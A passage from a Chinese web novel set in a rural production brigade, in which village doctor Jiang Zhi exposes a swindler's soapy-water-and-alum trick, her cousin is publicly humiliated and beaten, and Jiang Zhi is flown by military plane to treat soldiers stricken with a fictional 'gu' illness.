姜芷点点头,看向旁边一个正在搓洗衣服的大婶,“婶子,借你盆里那点洗过衣服的肥皂水用一下。” 那大婶不明所以,但还是赶紧舀了一小碗过来。 姜芷又对赵大山说:“大山叔,麻烦您去伙房,给我拿一小块明矾过来。就是咱们平时用来净水的那种白色小石头。” 赵大山虽然不知道她葫芦里卖的什么药,但对姜芷是百分之两百信任,立马就跑回大队部取了过来。 姜芷接过那块小小的明矾,在所有人的注视下,用指甲从上面刮下一点点白色粉末。 然后,随手弹入了那碗肥皂水里。 她对那个已经彻底呆滞的技术员招了招手。 “同志,劳驾,再过来一下。” 技术员下意识地走了过去。 “不用念咒。” 姜芷看着他,忽然笑了笑,“你随便喊一嗓子,什么都行。” 技术员更懵了,张着嘴,憋了半天,扯着嗓子吼了一声。 “为人民服务!” “噗——” 周围的人,忍不住都笑了。 姜芷也莞尔,她伸出手,在那技术员的后背上,同样的位置,轻轻地拍了一下。 “好了。” 她指了指地上那碗肥皂水。 “大家再看看,这碗水里的‘病气’,是不是也出来了?” 众人伸长了脖子看去。 只见那碗本就稍显浑浊的肥皂水,在加入了明矾粉末后,里面的絮状沉淀物变得更多、更明显了。 那形态,那颜色,跟姜巧巧变出来的那碗,简直一模一样! “……” “……” 全场死寂。 所有人都不是傻子。 一个要故弄玄虚,念咒唬人,搞得跟跳大神一样。 一个只需要家家户户都有的肥皂水,和净水用的明矾。 哪个是真,哪个是假,还用说吗! 这哪里是什么狗屁神技? 这他娘的,就是个骗三岁小孩的把戏! “我的亲娘!这不就是拿肥皂水和明矾糊弄人吗?” “我还以为是多大的本事呢!就这?” “姜巧巧!你那个骗子师傅收了你多少钱,教你这个玩意儿?” “二十块!” 姜巧巧紧紧咬着嘴唇,脑子里一片空白,听到有人问,下意识就答了出来。 “啥?!” “二……二十块?!” 人群瞬间就炸了! “我的老天爷!二十块钱就学了个这?学怎么拿肥皂水骗人?” “败家玩意儿啊!二十块钱能买多少猪肉啊?能给全家做多少身新衣裳了!” “这哪是拜师啊,这是送上门让人当猪宰啊!蠢到家了!” 她引以为傲的“神技”,成了一个天大的笑话。 她自己,也成了一个花了二十块巨款的,全村最大的蠢货。 姜巧巧感觉天旋地转,眼前发黑,村民们的每一句嘲笑都像一把刀子,狠狠捅进她的心窝子。 她双腿一软,“噗通”一声,瘫坐在了地上。 “骗子……他是骗子……”她失魂落魄地喃喃自语,眼泪混着灰尘流了下来。 姜芷看着她,眼里没有丝毫同情,只有讥诮。 “想走捷径,就得有被骗的觉悟。” “想踩着别人往上爬,就得有摔进泥坑里的准备。” “姜巧巧,这个道理,二十块钱买你个教训,不亏。” 说完,她转身就走,再也懒得看这个蠢货一眼。 “姜巧巧!” 赵大山一张脸铁青,指着瘫在地上的姜巧巧怒声训斥。 “你个搅屎棍!跑来这里妖言惑众,扰乱人心!你安的到底是什么心?!” “还有那个骗钱的黄半仙!人呢?!” “去!民兵队!把他给我抓回来!敢骗到我们红星大队的头上来了,反了他了!” 第36章 好一个母慈子孝 赵大山一声令下。 几个早就憋着一口气的民兵,嗷地一嗓子就冲了出去,那架势,像是要去抓特务。 整个红星大队,彻底沸腾。 人群里,有幸灾乐祸看热闹的,有指着姜巧巧鼻子痛骂败家的。 但更多的人,是打心底里感到一阵酣畅淋漓的解气。 让你跟芷丫头作对! 让你不走正道,偏要去信那些歪门邪道的鬼把戏! 这下可好,脸面丢尽,成了全公社最大的笑话! 姜巧巧瘫在地上,两眼发直,嘴里不停地念叨着:“骗子……他骗我……” 她压上全部身家的“神技”... 竟然只是村里大婶洗衣服剩下的肥皂水? 这已经不是侮辱了。 这简直是将她的尊严,扔在地上用脚碾碎! 姜芷对还愣着的赵秀娥说:“娘,回家了。” “新房的地基打得真快,等盖好了,咱们就搬进来,再也不理会这些腌臜事。” 赵秀娥点点头,看着女儿云淡风轻的侧脸,心里说不出的踏实。 母女俩转身离开。 就在这时,一声凄厉的尖叫,划破天际,从姜家老宅方向传来。 “我的钱啊——!!” 一个身影疯了似的冲出来,头发散乱,不是王桂香又是谁? 她直直扑到姜巧巧面前,一把揪住她的头发,狠狠往后一扯! “我的钱呢!我攒了大半辈子的钱呢!” “是不是你!是不是你这个丧门星偷了!” 王桂香是真的要疯了。 刚刚她在屋里听见外面吵吵嚷嚷,还以为姜巧巧真把姜芷给比下去了,心里正得意地盘算着以后怎么拿捏姜芷。 可听着听着,风向就不对了。 什么肥皂水,什么二十块钱…… 她心里咯噔一下,赶紧扑到炕头,摸向那个瓦罐。 空的! 里面垫底的布还在,但手帕包着的钱,没了! 那一刻,王桂香感觉天都塌了! 那可是她这些年从牙缝里省出来,从姜芷母女嘴里抠出来,还有姜为民偶尔寄回来的所有家当啊! 是她后半辈子的指望! 现在,全没了! “说!钱是不是被你拿去喂了那个天杀的骗子!” 王桂香红着眼睛,手上猛地加劲,把姜巧巧的头皮都快扯下来了。 姜巧巧疼得尖叫,在地上打滚。 “不是我!我没有!” 到了这个地步,她还在嘴硬。 “还敢犟嘴!” 王桂香彻底被点燃了,理智全无,抡起巴掌就往姜巧巧脸上左右开弓地扇。 “啪!啪!啪!” 清脆的耳光声,响彻整个场地。 “我打死你这个败家精!我打死你这个小偷!” “让你偷家里的钱!让你去学那什么狗屁神技!现在好了!钱没了!脸也丢光了!” 姜家老宅的其他人,也被这动静惊动了。 姜老太拄着拐杖走过来,气得浑身发抖,拐杖一下下地戳着地。 “混账东西!混账东西啊!” “我们姜家的脸,都让你给丢尽了!” 村民们围在外面,指指点点,议论纷纷。 “啧啧,真是家门不幸,偷自己娘的钱去拜师,结果拜了个骗子,这脑子是怎么长的?” “这下可好,姜巧巧以后在十里八乡还怎么做人?” 就在现场上演全武行,鸡飞狗跳的时候,那几个出去抓人的民兵,也回来了。 他们押着一个灰头土脸,两撇山羊胡都耷拉下来的中年男人。 正是那个“黄神医”。 原来这姓黄的骗子,压根没走远。 他拿着那二十块热乎的巨款,正美滋滋地在小饭馆,叫了一碗肥得流油的大肉面,还奢侈地加了两个蛋。 民兵们冲进来的时候,他嘴里还叼着半根面条,一脸的懵圈。 “同志,同志!误会,都是误会啊!” 黄医生被押到赵大山面前,腿肚子抖个不停,一个劲地作揖求饶。 “我就是混口饭吃,没想闹这么大啊!” 赵大山看着他那副猥琐样,气不打一处来,一脚踹在他腿弯上。 “混饭吃?你混到我们红星大队的头上来了?还骗走了二十块钱!” “那钱是她自愿给我的!”黄医生连忙辩解,“她哭着喊着求我收她为徒的!这叫一个愿打,一个愿挨!” “放屁!”赵大山呵斥,“你那套把戏,就是招摇撞骗!今天你要是不把钱吐出来,再写一万字的检讨,我就把你扭送公社,让你去吃牢饭!” 一听到“送公社”、“吃牢饭”,黄医生脸都吓白了。 这年头,因为投机倒把,搞封建迷信被抓进去的,没几个有好下场。 他扑通一声就跪下了。 “别啊!大队长!我给!我把钱还回去!” 他哆哆嗦嗦地从怀里掏出那个手帕,里面包着的二十块钱,还带着他吃肉面的油腥味。 “还有,你,过去!”赵大山指着人群中央,“当着全村人的面,把你那套骗人的把戏,一五一十地给老子说清楚!” 黄医生哪敢不从。 他连滚带爬地跑到人前,把那“清水捉病”的原理讲了个底朝天。 无非就是利用碱性的肥皂水,遇上酸性的明矾,发生化学反应,产生白色沉淀物氢氧化铝。 听起来高深,说白了,初中化学课本里都有。 只不过在这个普遍文化程度不高的年代,足以唬住绝大多数人。 真相大白。 姜巧巧彻底傻了。 她感觉自己就像个彻头彻尾的白痴,被人耍得团团转,还上赶着给人数钱。 周围的嘲笑声,将她淹没。 王桂香看着追回来的二十块钱,疯了一样扑过去一把抢过来,揣进怀里,又对着姜巧巧一顿拳打脚踢。 “我让你偷!我让你学!二十块钱啊!那是我给你攒的嫁妆钱!你个败家玩意儿,现在全村人都知道你又蠢又瞎,谁还敢要你!” 这话说得,连旁边看热闹的村民都听不下去了。 “王桂香你还要不要脸?你啥时候对巧巧这么好过?那钱不是你从姜芷娘俩嘴里抠出来的血汗钱?” 王桂香的咒骂声一顿,梗着脖子想骂回去,可一对上全村人鄙夷的眼神,又蔫了。 最后,在赵大山的呵斥下,这场闹剧才勉强结束。 黄半仙被罚去给村里义务劳动一个月,专门负责清理全村的茅厕,什么时候把二十块钱的劳力干回来了,什么时候滚蛋。 而姜巧巧,则被王桂香像拖一条死狗一样,拖回了老宅,迎接她的是无尽的打骂和羞辱。 此时,姜芷的小院里,一片岁月静好。 赵秀娥把院门关上,给女儿端来一碗凉茶。 “小芷,别管他们,一群拎不清的疯子。” 姜芷接过碗,轻轻喝了一口。 她抬起眼,看向院子里那一片被她打理得井井有条,长势喜人的草药,心里一片安宁。 她的世界,早已和那些人不一样了。 村东头,三间青砖大瓦房的底子已经快要砌好,旁边还特意按照她的要求,留出了一大片方方正正的空地。 等房子盖好了,她就把那片空地全部开出来,当做她的药圃。 种上些常用的板蓝根、金银花、鱼腥草。 再精心地隔出一小块地,用最好的土,专门培育那些从深山里带出来的金贵药材。 那才是她的追求。 第37章 千里外的求援 姜巧巧的“神医梦”,碎了。 碎得满地狼藉,溅了自己一身洗不干净的肥皂水味。 从此,姜家老宅沦为全村的笑柄。 王桂香防贼一样防着亲女儿,姜巧巧则像个失了魂的孤鬼,在村民的指指点点中,彻底抬不起头。 与之形成鲜明对比的,是姜芷蒸蒸日上的日子。 村东头,三间青砖大瓦房的墙基已经高高砌起,气派非凡。 村口那条通往县城的路,也被正式命名为“神医路”,每天都有工程队热火朝天地修建着。 姜芷的日子,安逸舒心。 她带着母亲赵秀娥,在院子里晾晒新炮制的药材,满院都飘着让人心安的药香。 赵秀娥看着女儿恬静美好的侧脸,满心骄傲。 “小芷,这日子,妈以前做梦都不敢想。” 姜芷笑了笑。 “妈,好日子,还在后头呢。” 话音刚落,院外传来邮递员扯着嗓子的大喊。 “姜芷同志!你的信!还有一个老大老大的包裹!” 又是包裹? 赵秀娥眼睛一亮,连忙在围裙上擦干手迎了出去。 “肯定是向东那孩子寄来的!” 自从陆向东寄来医书后,赵秀娥心里,早已将他视作板上钉钉的准女婿。 邮递员递过来一个沉甸甸的军绿色帆布包,上面“西南军区”的红色印章格外醒目。 “乖乖,这回可真沉!”邮递员满脸笑意,“还是部队来的,姜芷同志这福气,真是没得说!” 路过的村民纷纷投来羡慕的目光。 如今的红星大队,谁不知道姜芷医术通神,未婚夫更是个前途无量的铁血军官? 这丫头,将来是要当将军夫人的! 姜芷道了谢,抱着包裹回了院子。 赵秀娥已经迫不及待地拿来了剪刀。 “快!快打开看看,那孩子又给你寄了什么好东西!” 帆布剪开,露出一个精致的木箱。 箱盖打开的瞬间,一股混杂着人参和鹿茸的浓郁馨香扑面而来。 箱内被细致地分成了几个格子。 一格里,是几支崭新的玻璃注射器和一沓密封好的针头,在这缺医少药的年代,这比黄金还金贵。 另一格,是用油纸精心包裹的药材。 姜芷拈起一片闻了闻,有些讶异。 “妈,这是野山参和头茬的梅花鹿茸,大补元气,千金难求。” 还有一格,塞满了大白兔奶糖和好几包印着英文的麦乳精,都是市面上见不到的稀罕物。 赵秀娥笑得合不拢嘴。 “这孩子,心也太实了!这是把你捧在心尖尖上疼啊!” 箱子最底下,压着一封厚厚的信。 姜芷将信取出,赵秀娥便识趣地笑着走开了,把空间留给女儿。 姜芷坐在小马扎上,拆开信封。 信纸是部队特供的稿纸,陆向东的字迹和他的人一样,笔锋锐利,力透纸背。 开头,依旧是几句干巴巴的问候。 “姜芷同志,见信如晤。近日安好?” 姜芷仿佛能看到那个男人拧着剑眉,一本正经写下这几个字的严肃模样,嘴角不由自主地弯了起来。 可越往下看,她脸上的笑意就逐渐凝固。 握着信纸的手,也不自觉地收紧。 “……此番来信,实有一事相求,事关我部十七名战士性命,万分紧急。” “我部于西南边境执行密林拉练任务后,十七名战士陆续出现怪病。起初只是乏力低热,骨头缝里都透着阴冷,军医按风寒诊治,全无效果。” “三日后,病症陡然加剧!患者皮肤上开始长出大片暗青色的斑块,坚硬如石,形同死人苔藓!转而高烧不退,神志错乱,将朝夕相处的战友认作恶鬼,疯狂攻击!” “军区专家组已紧急会诊,却查不出任何已知病毒。怀疑是敌特投放的新型生化毒剂,但……情况比那更糟。” “十七个年轻的战士,如今被隔离在帐篷里,日夜被病痛折磨,生死一线。我心急如焚,却束手无策。” “姜芷,你的医术,是我此生仅见。我知此举冒昧,让你为难。但除了你,我不知道还能相信谁。” “我只是……别无他法。” 信的末尾,附上了一张画功极其拙劣的火柴人。 小人身上被涂抹着几块丑陋的黑疙瘩,旁边标注着——“苔藓状硬斑”。 姜芷看着那张涂鸦般的图,和信尾那句“别无他法”。 这个战场上的钢铁男人,此刻,正为了他手下的兵,向她发出求救。 她紧握着信纸,内心波涛汹涌。 “小芷,咋了?信上说啥了,你脸色这么难看?” 赵秀娥端着一杯热水走过来,担忧地问。 “是向东出什么事了?” “不是他,是他的兵。” 姜芷缓缓地将信纸叠好,神情严肃。 西南边境……密林拉练……皮肤苔藓状硬斑……高烧幻觉…… 一个个关键词在她脑海中疯狂炸开,与她前世见过的一些禁忌急症重合! 那不是病,更不是毒! “应该是中了‘瘴苔蛊’!” “瘴……啥蛊?” 赵秀娥一个字也听不懂,只觉得这两个字透着一股子邪性,让她心底发毛。 “那是要命的病吗?你快写信!写信告诉向东怎么治啊!”她急得催促。 “写信?” 姜芷摇了摇头。 “妈,等信寄到,那十七个年轻的战士,怕是连骨灰都凉透了。” “这病,凶得很。拖一天,就多死一个人。” “我必须,亲自去一趟。” “不行!” 赵秀娥将杯子重重放在桌上,热水溅到手上,她却浑然不觉。 “绝对不行!” “小芷,你知不知道那是什么地方?那是边境!天天打仗的地方!报纸上都说了,是会死人的!” “妈这辈子,就剩下你一个指望了,妈不能让你去冒这个险!绝对不能!” “妈。” 姜芷坚持。 “我是一个医生。” “我这一身本事,不是为了在村里耀武扬威,更不是为了换几斤大米白面。” “是用来救人的。” “现在,有十七条鲜活的人命,等着我去救。他们都是保家卫国的英雄,是陆向东的兄弟。我如果袖手旁观,眼睁睁看着他们死去,这辈子,良心都不会安。” “陆向东……他那样一个顶天立地的男人,为了他的兵,低头来信求我。我不能让他失望,更不能让那十七个家庭失望。” “妈,你放心。”姜芷的声音柔和下来,“我不是去冲锋陷阵,我是去救人。有部队在,他们会把我保护得比眼珠子还珍贵。” 赵秀娥的防线,在她的话语中一点点崩塌。 她松了力气,眼眶瞬间红了。 “那……那你怎么去?从咱们这儿到西南,坐火车都得坐烂屁股吧?” 姜芷站起身,她早想到办法。 “坐火车,太慢了。” “有人,会用这个世界上最快的法子,送我过去。” 半小时后。 红星大队部。 公社的陈支书和大队长赵大山,正叼着烟卷,对着一张地图比比划划,研究着“神医路”的最终走向。 姜芷推门而入。 “芷丫头?你怎么来了?快坐快坐!”赵大山乐呵呵地挪开凳子。 姜芷没动,她站得笔直,神情严肃。 “陈叔,大山叔,我需要用一下电话,打一个长途。” “我要直接打到军区去。” “有十万火急、人命关天的大事。” 陈支书和赵大山脸上的笑容,瞬间凝固。 两人猛地对视一眼,心头都是狠狠一跳! 能让姜芷亲口说出“人命关天”这四个字的,那绝对是天塌下来的大事! “用!马上用!” 陈支书亲自把那台手摇电话线路接好,紧张地搓着手站在一边。 姜芷拿起话筒,摇动摇柄,嗡嗡声后,终于接通了总机。 “你好,请帮我转接西南军区。找上次来我们红星大队,处理‘惊蛰图’事件的那位首长。” “惊蛰图”三个字一出,电话那头的接线员不敢有丝毫怠慢,立刻开始层层上报转接。 等了几分钟。 话筒里传来一个威严的声音。 “我是秦振国。你是哪位?” 姜芷深吸一口气,稳稳开口。 “秦首长,我是红星大队的姜芷。” 电话那头,是短暂的沉默。 随即,那声音变得亲切热络。 “是姜芷同志!你好你好!上次的事,我还没来得及好好感谢你!你可是我们军区的大功臣啊!怎么,今天打电话来,是有什么需要我们帮忙的吗?” “首长,我长话短说。” 姜芷直奔正题。 “陆向东部,目前有十七名战士,集体感染了‘瘴苔蛊’。初期症状是低热,皮肤出现苔藓状硬斑。最终,会高烧不退,产生恐怖幻觉,直至脏器衰竭而死。” “我主动申请救援。” 电话那头,一阵沉默。 秦振国声音凝重几分。 “你怎么会知道得这么清楚?” 这可是前线封锁得最死的绝密军情! “因为这种病,我能治。” 姜芷直接抛出王炸。 “但是!我必须立刻赶过去。它的药材、针法、引子都极其特殊,信上说不清楚,电话里更讲不明白。” “再拖延下去,那十七个战士,一个都活不了。” 这话的分量,太重了! 一边是军区顶尖专家组都束手无策的诡异绝症。 另一边,是一个乡下小丫头的保证。 换做任何一个人,都会觉得是天方夜谭。 第38章 芷丫头要上天了 说完,姜芷转身就走。 她身后,是两个彻底石化的老干部,张着嘴,在穿堂风中凌乱。 她得赶紧回家收拾行囊。 姜芷刚走出大队部,拐过墙角。 身后,传来一声石破天惊的呐喊! “我的亲娘嘞——芷丫头要坐飞机啊!” 赵大山这一嗓子,吼得整个红星大队都在嗡嗡作响。 他可能觉得,自己的脑子实在承受不住这么庞大的信息量,必须吼出来,让全村人帮他一起分担这份震撼。 这一嗓子,效果拔群。 正在工地上干得热火朝天的群众,瞬间安静。 全都停下了手里的活计,有人掏了掏自己的耳朵,严重怀疑是不是干活太累,出现了幻听。 “啥玩意儿?飞机?” “赵大队你是不是中暑说胡话了!” “飞机是啥?吃的吗?” 一个虎头虎脑的娃子仰头问他爹。 他爹一巴掌呼在他后脑勺上:“吃个屁!那是天上的神仙才能坐的玩意儿!” 一时间,整个红星大队彻底疯了。 男人们扔了锄头,女人们丢了扁担,朝着大队部这边涌过来,想问个究竟。 而姜芷,已经回到了自家小院。 “娘,我得走了。” 赵秀娥眼圈通红,正手忙脚乱地往一个布包里塞东西。 干净的换洗衣服、鞋子,地瓜干、小鱼干等等,水壶里也灌满热水。 “路上吃,别饿着自己。” “到了那地方,要是不习惯,就跟向东说,让他给你弄好吃的,千万别委屈自己。” 赵秀娥絮絮叨叨,眼泪在眼眶里拼命打转,强忍着不让它掉下来。 女儿是去做顶天立地的大事,是去救英雄的,她不能哭,不能拖后腿。 “知道了,娘。” 姜芷接过布包,又从屋里拿出自己的那个小药箱。 打开,仔仔细细检查了一遍。 最后,她将那株用油纸层层包好的血灵芝,放进了药箱的夹层。 这趟去西南,瘴疠之地,凶险异常。 这株血灵芝,是她压箱底的保命底牌。 就在母女俩依依不舍的时候,院子外面的喧哗声,已经快要把房顶给掀翻。 姜家老宅。 王桂香正掐着腰,唾沫横飞地骂着姜巧巧是赔钱货。 赵大山那声惊天动地的呐喊,也清清楚楚地传到了她的耳朵里。 她愣了一下,随即嗤笑一声,满脸不屑。 “飞机?我看他是放屁!那姜芷是个什么金贵的玩意儿,还能坐飞机?” 墙角,姜巧巧麻木地缩着,一言不发。 只有姜老太,拄着拐杖,微微发起了抖,莫名的惊疑。 大概过了一个多小时。 一个村民跑过姜家门口,一边跑一边喊: “快去看啊!县里来车了!是部队的军车!来接姜神医去坐飞机!” 王桂香脸上的嗤笑,瞬间凝固。 姜老太手里的拐杖,“哐当”一声,重重砸在了地上。 她扶着斑驳的门框,只觉得天旋地转,眼前一阵阵发黑。 飞机……坐飞机…… 那不是画报里,那些国家大领导才有的待遇吗? 姜芷这个扫把星,赔钱货,现在,要去坐飞机了? 不! 这不可能! 这一定是哪里搞错了! 姜老太挣扎着,想往外走,想亲眼去看看。 可她刚迈出一步,双腿一软,整个人顺着门框,瘫坐在了地上。 与此同时,一辆绿色的军用吉普车,卷着漫天黄尘,稳稳停在了姜芷的小院门口。 全村的人,都里三层外三层地围着,没一个人敢靠近。 那车门上鲜红的五角星,在阳光下,晃得人眼晕。 “咔哒”一声。 车门打开,先下来一个众人眼熟的县干部,他满脸堆笑,殷勤地拉开车门。 紧接着,一个穿着笔挺军装,肩膀上扛着星的年轻军官,利落地跳下车。 他锐利的目光扫视一圈,声音沉稳有力。 “哪位是姜芷同志?” 人群自动向两边退开,让出一条通道。 姜芷背着布包,一手拎着药箱,从院子里走了出来。 “我就是。” 那军官看到姜芷的瞬间,眼里闪过一丝诧异。 太年轻了。 比他想象中,还要年轻太多了。 但他没有丝毫怠慢,身形一震,对着姜芷,“啪”地一下,行了一个无比标准的军礼! “姜芷同志!奉西南军区,秦振国司令员命令,特来接您!专机已在县机场等候多时!” 整个红星大队,鸦雀无声。 所有人都被这阵仗给彻底镇住了。 天老爷! 真是司令员亲自下的命令! 真是专机在等着! 在他们这个穷得叮当响的村子里,竟然出了一个能惊动司令,能坐上专机的大人物! 真了不起! “娘,我走了。” 姜芷回过头,给了母亲一个安心的拥抱。 “照顾好自己,等我回来。” 说完,她转身上了车。 吉普车发动,在全村人敬畏的注视下,绝尘而去。 赵秀娥站在原地,看着越开越远的车影,直到它化作一个小黑点,眼泪终于忍不住,刷地流了下来。 赵大山走到她身边安慰着。 “秀娥妹子,你放心!芷丫头是去做天大的好事!是咱们全村、全公社的骄傲!” “从今天起,你就是咱们红星大队的重点保护对象!谁敢让你受半点委屈,我赵大山第一个不答应!” 周围的村民们,也纷纷七嘴八舌地附和。 “秀娥嫂子,你放心,以后你家的水,我们给你挑!” “你家的柴,我们包了!保证让你烧都烧不完!” 人群的最后面,王桂香和姜巧巧母女俩,脸色惨白。 王桂香浑身都在哆嗦,嘴里只剩下无意识的念叨。 “完了……全完了……” 姜巧巧则死死地盯着吉普车消失的方向,指甲深深掐进了掌心。 嫉妒? 不。 到了现在,她连嫉妒的资格,都彻底失去了。 那是彻底的绝望,望尘莫及。 不知不觉间,她和姜芷,早就不在一个世界了。 一个在云端,乘风而去。 一个在尘埃,烂在泥里。 ... 吉普车在坑坑洼洼的土路上颠簸。 开车的年轻军官叫孙磊,一路上,他偷偷透过后视镜,瞟了姜芷不下十次。 这就是那位“姜神医”? 也太年轻了。 细胳膊细腿,穿着一身洗得发白的蓝布衣裳,扎着两条麻花辫,看着比他妹妹还小。 可就是这么个小丫头,电话直接打到他们秦司令那儿,一开口就是“瘴苔蛊”,把整个医疗专家组都给干沉默了。 现在,司令员更是直接下令,派专机来接。 这待遇,孙磊当兵这么多年,听都没听过。 “姜……姜同志,”孙磊清了清嗓子,“您坐稳了,前面的路不太好走。” “没事,你专心开车。” 姜芷靠在椅背上,闭着眼睛,神色平静。 这点颠簸,跟她当年为了采一株药,在没有路的山里坐拖拉机比起来,简直就是享受。 孙磊见她不欲多言,也不敢再搭话,心里对她的敬畏又多了几分。 瞧瞧这气度!泰山崩于前而色不变! 高人!绝对是高人! 一个多小时后,吉普车终于开进了县城,直奔城郊一个平时根本不对外开放的小型机场。 远远的,姜芷就看到了一架军绿色的运输机。 周围三步一岗五步一哨,全是荷枪实弹的兵。 吉普车停稳。 机舱门打开,一个戴着飞行头盔,身材高大的飞行员跳了下来,快步走到姜芷面前,敬了个礼。 “报告!飞行员王海奉命在此等候!请姜同志登机!” 姜芷点点头,背着她的小布包,拎着药箱,没有半分迟疑,径直踏上了舷梯。 这份从容,让飞行员王海都愣了一下。 他飞了这么多年,接过不少大领导,也送过紧急物资,可还是第一次见到一个从乡下来的小姑娘,面对这种阵仗,眼睛都不眨一下的。 机舱里,简陋又空旷,只有两排金属座椅。 巨大的引擎轰鸣声,震得人耳膜发疼。 飞机开始在跑道上滑行,速度越来越快,猛地一下,机头扬起,巨大的失重感传来。 同行的孙磊,抓住了旁边的扶手,转头去看姜芷。 只见她依旧靠在椅背上,眼睛闭着,好像已经睡着了。 孙磊:“……” 这心理素质,不服不行! 第39章 有本事治病,没本事站一边 数千公里外的西南边境,某军区。 隔离病房外,气氛压抑。 陆向东一身风尘,双眼布满血丝,在门外院子来回踱步。 三天了。 自从他冒昧写信向姜芷求助后,他就没睡过一个好觉。 他后悔了。 怎么能把她拉进这么危险的浑水里? 万一她也治不了,这不是给她添堵吗…… “团长,你别转了,我头都让你转晕了。”警卫员张虎哭丧着脸说。 “要不,你去睡会儿?” “睡不着。”陆向东神色疲惫。 就在这时,一个通讯兵从外面跑进来,一边跑一边喊。 “团长,团长!秦司令电话!” 陆向东立即赶到通讯室。 “我是陆向东!” 电话那头,短暂沉默,随即传来秦振国的怒喝! “陆向东!你胆子不小啊!” 陆向东脑子嗡的一下,瞬间站得笔直。 “谁给你的权力,把前线机密军情,泄露给一个地方群众?!你知不知道这是什么性质的问题!” 陆向东瞬间明白了,司令说的是他写给姜芷的那封信。 他喉结滚动,声音沙哑:“首长,我甘愿受罚。” “罚?等你手下那十七个兵都变成骨灰,我再一枪毙了你!”秦振国怒气未消,“你知道你的信,差点造成多大的麻烦吗?” “那位姜芷同志!拿着你的信当引子,直接把电话打到了我这里!” “她说,再拖下去,那十七个战士,一个都活不了!” “陆向东你给我听好了!要不是情况万分紧急,我现在就撤你的职!你的处分,等这次危机过去再跟你算!现在,人已经上飞机了,两个小时后到!” “你亲自去接!人,我全权交给你了!要是姜同志在这里掉了一根头发,我扒了你的皮!” 嘟—— 电话挂断。 陆向东站在原地,久久没有动弹,心里又酸又胀。 她来了。 因为他的一封信。 她主动请战.... 跨越千山万水,为了他手下的兵,为了他这个混蛋……亲自来了! 一股滚烫的情绪,从胸口炸开,瞬间冲到了眼眶。 这个傻姑娘! 旁边的张虎,好奇地凑过来。 “团长,司令说啥了?怎么发这么大火?” 陆向东缓缓转过头,收拾好情绪。 “去,通知下去,所有人,整理军容!” “准备迎接……我们最后的希望。” 两个小时,对于隔离病房里的战士们来说,是生死煎熬。 对于陆向东来说,是度秒如年。 他把自己关进办公室,仔细刮了胡子,换上了一身最笔挺的军装,将皮鞋擦得锃亮。 然后,就站在窗边,看着机场的方向,一动不动。 终于,远处的天际线,出现了一个小小的黑点。 黑点越来越大,飞机的轮廓越来越清晰。 巨大的轰鸣声由远及近。 陆向东的心,也跟着提到了嗓子眼。 整个军区医院,凡是能动弹的,都跑了出来。 他们听说,上面派来了一位顶级的医疗专家,来救治那些得了怪病的战斗英雄。 所有人都伸长了脖子,翘首以盼,想看看这位专家,是何方神圣。 运输机稳稳降落。 舱门打开。 第一个走下来的,是飞行员。 第二个,是战区的警卫员孙磊。 然后,在万众瞩目下,一个穿着朴素蓝布衣裳,扎着麻花辫,背着个小布包的年轻姑娘,拎着一个半旧木头药箱,缓缓走了下来。 她神色平静,眼神清亮,扫视了一圈。 人群:“……” 所有人都傻眼了。 专家呢? 说好的顶级专家呢? 怎么下来个……村姑? “是不是……搞错了?”有人小声嘀咕。 “这年纪……比我的兵还小吧?” 就在众人面面相觑,不知所措的时候。 陆向东动了。 他穿过人群,大步流星地冲了过去,站定在姜芷面前。 千言万语,堵在喉咙。 “你……” 姜芷看着他。 一段时间不见,他又黑了,也瘦了,眼神里的疲惫和焦虑,藏都藏不住。 她心里,某个地方,也是微微一软。 但现在,不是叙旧的时候。 她目光越过他的肩膀,看向身后那栋戒备森严的隔离病房。 “别废话,病人在哪儿。” “现在,立刻,马上,带我过去!” 在场所有人,眼珠子几乎要瞪出眼眶。 他们翘首以盼的顶级专家,对战功赫赫的陆团长说的第一句话,竟然是—— 别废话? 这是哪路神仙下凡? “疯了吧这女的?” “嘘!小声点!没看到陆团长没吱声呢!” 陆向东的警卫员张虎,急得脑门直冒汗,刚想上前一步,就被陆向东一道冰冷的眼神钉在原地。 是了。 千言万语,在此刻都显得苍白无力。 他懂她。 她跨越千山万水而来,不是为了听他废话,她是来救命的。 陆向东猛地转身,高大的身躯在前面开路。 “我这就带你去!” 姜芷拎着她那个半旧的木头药箱,面无表情地跟在后面。 隔离病房设在医院最里侧的独立小楼,门口站着荷枪实弹的哨兵,空气中弥漫着刺鼻的消毒水味。 走廊里,站满了忧心忡忡的医生护士。 一个戴着眼镜、颇有资历的老医生看见陆向东领着一个陌生姑娘过来,立刻迎了上来。 “陆团长,这位是?” 他叫陈建军,军区医院的内科主任,也是这次专家救治小组的组长。 这三天,他头发都快愁白了。 陆向东声音低沉:“陈主任,这位是姜芷同志,我请来的医生。” “医生?” 陈建军的在姜芷身上打量,两条眉毛拧成了疙瘩。 “胡闹!” “她多大年纪?有行医执照吗?隔离病房是能随便让一个黄毛丫头进的吗?” “陆团长!我理解你的心情,但我们必须相信科学!不能病急乱投医,把封建迷信那一套带到我们革命医院里来!” 这话一出,周围的医生护士纷纷点头。 是啊,这小姑娘看着就不靠谱。 万一出了事,谁负责? 姜芷自始至终,脸色平静,忽然开口。 “科学?” “你的科学,就是眼睁睁看着他们在这里等死吗?” “你!”陈建军脸色不喜,“你这女同志怎么说话的!我们三天三夜没合眼,用尽了所有办法……” “所以,”姜芷打断他,“你的意思是,你们已经束手无策了,对吗?” “我……” 陈建军被这一句话噎得死死的。 是,他们确实没招了。 抗生素、激素、退烧药,能试的全试了,战士们的病情依旧在不断恶化。 “既然你的办法用尽了,那就让开。” “从我下飞机到现在,过去了五分三十秒。你们在这里多拦我一分钟,里面的人,离阎罗王就更近一步。” 在场所有人,全被这话震懵了。 这姑娘……是吃熊心豹子胆长大的吗? 敢当着所有人的面,这么跟陈主任叫板? “你...” 陈建军气得发抖,指着姜芷,你了半天,说不出一句完整的话。 陆向东向前一步,高大的身影将姜芷稍稍护在身后。 “陈主任,她是我请来的人,一切后果,我陆向东,一力承担。” “现在,开门!” 陈建军的脸色青一阵白一阵,最终,他咬碎了后槽牙,对着身后的哨兵挥了挥手。 “我倒要看看,你能玩出什么花样来!” 集全院之力都解决不了的怪病,一个黄毛丫头能治好? 她要是能治好,他陈建军今天就把名字倒过来写! 姜芷走进小楼,停下脚步。 “你们所有人,退后二十米。” “没有我的允许,任何人,不准靠近。” 那群想跟上来看热闹的医生,脚步一顿,面面相觑。 陆向东没有半分犹豫,立刻对警卫员张虎下令:“执行姜医生的命令!清场!所有人退到二十米外!” 很快,楼道里只剩下姜芷和陆向东两个人。 “你……真的有把握?”陆向东小心翼翼地问。 第40章 全副武装护送进山 “是黑雾谷。” 